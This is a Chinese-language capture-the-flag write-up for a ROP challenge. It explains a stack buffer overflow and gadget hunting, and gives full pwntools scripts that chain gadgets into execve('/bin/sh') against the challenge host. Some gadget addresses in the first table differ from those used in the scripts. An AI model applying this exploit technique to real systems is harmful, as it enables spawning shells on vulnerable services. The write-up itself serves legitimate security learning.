Try   HackMD

ROP-EZROP(b33f adv_pwn)

Author:堇姬

確認保護

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

開NX沒辦法寫shellcode,另外他開了canary,但其實沒開(沒有check canary的判斷式)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

如果有開會有這個

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

source code

read的buffer overflow一樣給好給滿

#include <stdio.h>

int main(){
    char buf[0x40];
    setvbuf(stdin,0,_IONBF,0);
        setvbuf(stdout,0,_IONBF,0);
    printf("Give me your overflow: ");
    read(0,buf,0x400); // oops!
    return 0;
}

基本上應該是要直接堆ROP

所以我們看看堆出execve需要甚麼吧

  • execve('/bin/sh')
暫存器
rax 0x3b
rdi 要執行的參數值(/bin/sh)
rsi argv(這裡=0)
rdx envp(這裡=0)

先找看看有沒有pop register;ret之類的可以控這些register

ROPgadget找位置

暫存器 位置
pop rax ;ret 0x42e3a7
pop rdi ;ret 0x402540
pop rsi ;ret 0x4126a3
pop rdx ; pop rbx ; ret 0x47b917
syscall 0x401c54

目前發現所有register都是可控的
但是我們必須找到一段可以寫入/bin/sh的地方,所以我們可以嘗試用這種gadget

mov QWORD PTR [register1], register2;ret

他會把register2的值寫入到register1所存值得記憶體位置

暫存器 位置
mov qword ptr [rsi], rdx ; ret 0x487e8a

目前看到data段0x4c5000~0x4c8000可寫,所以嘗試去找看起來沒用到的memory

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

0x4c50e0看起來沒東西,嘗試寫到那。

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

stack狀況

AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret

目前狀況run起來用gdb下b在main最後的ret看看

from pwn import * context.arch='amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] tst=input() if tst==1: r=remote('chall.nckuctf.org', 10007) else: r=process("./rop") write_binsh={ "pop_rdx_addr":0x485a8b, "pop_rdx_value":b'/bin/sh\x00', "pop_rbx_value":0, "pop_rsi_addr":0x409f0e, "pop_rsi_value":0x4c50e0, "mov":0x487e8a } writebinsh_payload=flat(write_binsh["pop_rdx_addr"], write_binsh["pop_rdx_value"], write_binsh["pop_rbx_value"], write_binsh["pop_rsi_addr"], write_binsh['pop_rsi_value'], write_binsh["mov"] ) gdb.attach(r,"b *0x00000000004017f2") r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload) r.interactive()

已經成功把/bin/sh寫到0x4c50e0

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

接下來開始堆參數

暫存器 位置 要蓋的值
pop rax ;ret 0x44fd07 0x3b
pop rdi ;ret 0x401e9f 0x4c50e0
pop rsi ;ret 0x409f0e 0
pop rdx ; pop rbx ; ret 0x485a8b 0 0
syscall 0x401c54

stack狀況

AAAAAA(0x48個蓋buf跟old rbp)
pop rdx ; pop rbx
/bin/sh\x00
0
pop rsi
0x4c50e0
mov qword ptr [rsi], rdx ; ret
pop rax 
0x3b
pop rdi
0x4c50e0
pop rsi
0
pop rdx ; pop rbx 
0
0
syscall

這樣就成功堆出execve了

Solve Script

from pwn import * context.arch='amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] tst=input() if tst=='1': r=remote('chall.nckuctf.org', 10007) else: r=process("./rop") write_binsh={ "pop_rdx_addr":0x485a8b, "pop_rdx_value":b'/bin/sh\x00', "pop_rbx_value":0, "pop_rsi_addr":0x409f0e, "pop_rsi_value":0x4c50e0, "mov":0x487e8a } writebinsh_payload=flat(write_binsh["pop_rdx_addr"], write_binsh["pop_rdx_value"], write_binsh["pop_rbx_value"], write_binsh["pop_rsi_addr"], write_binsh['pop_rsi_value'], write_binsh["mov"] ) ROPvar={ 'pop_rax_ret':0x44fd07, 'pop_rdi_ret':0x401e9f, 'pop_rsi_ret':0x409f0e, 'pop_rdx_rbx_ret':0x485a8b, 'syscall':0x401c54 } STACKvar={ 'rax_var':0x3b, 'rdi_var':0x4c50e0, 'rsi_var':0, 'rdx_var':0, 'rbx_var':0 } ROP_payload=flat(ROPvar['pop_rax_ret'], STACKvar['rax_var'], ROPvar['pop_rdi_ret'], STACKvar['rdi_var'], ROPvar['pop_rsi_ret'], STACKvar['rsi_var'], ROPvar['pop_rdx_rbx_ret'], STACKvar['rdx_var'], STACKvar['rbx_var'], ROPvar['syscall']) if tst!='1': gdb.attach(r,"b *0x00000000004017f2") r.sendlineafter(b'Give me your overflow: ',b'a'*0x48+writebinsh_payload+ROP_payload) r.interactive()

image